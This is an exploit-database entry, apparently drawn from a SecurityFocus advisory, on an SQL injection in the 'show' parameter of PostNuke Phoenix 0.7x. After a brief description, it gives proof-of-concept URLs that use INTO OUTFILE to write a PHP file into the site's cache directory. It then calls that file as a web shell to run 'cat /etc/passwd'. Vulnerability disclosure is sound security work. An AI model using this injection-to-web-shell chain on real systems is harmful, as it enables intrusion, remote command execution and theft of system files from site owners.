PostNuke Phoenix 0.7x - 'SHOW' SQL Injection

Author: Maksymilian Arciemowicz
type: webapps
platform: php
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date_added: 2005-02-28 
date_updated: 2013-05-03 
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source: https://www.securityfocus.com/bid/12684/info

PostNuke Phoenix is reported prone to an SQL injection vulnerability. This issue arises due to insufficient sanitization of user-supplied input.

It is reported that issue presents itself when malicious SQL syntax is issued to the application through the 'show' variable.

PostNuke 0.760-RC2 and prior versions are reported vulnerable.

http://www.example.com/index.php?name=Downloads&req=search&query=&show=cXIb8O3

http://www.example.com/index.php?name=Downloads&req=search&query=[Program name]&show=10%20INTO%20OUTFILE%20'/[PATH]/pnTemp/Xanthia_cache/cXIb8O3.php'/*

http://www.example.com/pnTemp/Xanthia_cache/cXIb8O3.php?cx=cat /etc/passwd